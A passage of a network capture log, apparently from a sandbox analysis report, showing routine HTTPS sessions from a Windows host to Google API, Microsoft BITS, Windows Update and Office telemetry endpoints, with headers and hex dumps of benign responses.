ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 06:14:14 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-31 06:14:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 06:14:18 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=210684 Date: Thu, 31 Oct 2024 06:14:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	142.250.184.206	443	7980	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:19 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 06:14:19 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:42:11 GMT Expires: Thu, 30 Oct 2025 15:42:11 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 52328 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 06:14:19 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-31 06:14:19 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 06:14:19 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=210740 Date: Thu, 31 Oct 2024 06:14:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 06:14:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xZ6G+Uo+Be3lGfv&MD=phWLBpN+ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 06:14:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f402d24c-70c3-41a7-b1ea-3cfaf2e64ab6 MS-RequestId: c958eac2-74a0-4918-a36c-c857ff75b832 MS-CV: 3giupYQHzUWZbl+E.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 06:14:19 GMT Connection: close Content-Length: 24490
2024-10-31 06:14:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 06:14:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xZ6G+Uo+Be3lGfv&MD=phWLBpN+ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 06:14:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6cd35d71-ee25-4f64-8dcc-f3e6576d4b8d MS-RequestId: 98885238-c2c7-49fb-acba-a79a0595579e MS-CV: ZQrch9O6LkGIie+7.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 06:14:57 GMT Connection: close Content-Length: 30005
2024-10-31 06:14:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-31 06:14:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:00 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:00 UTC	540	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:00 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061500Z-16849878b78xblwksrnkakc08w000000089g00000000kbfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
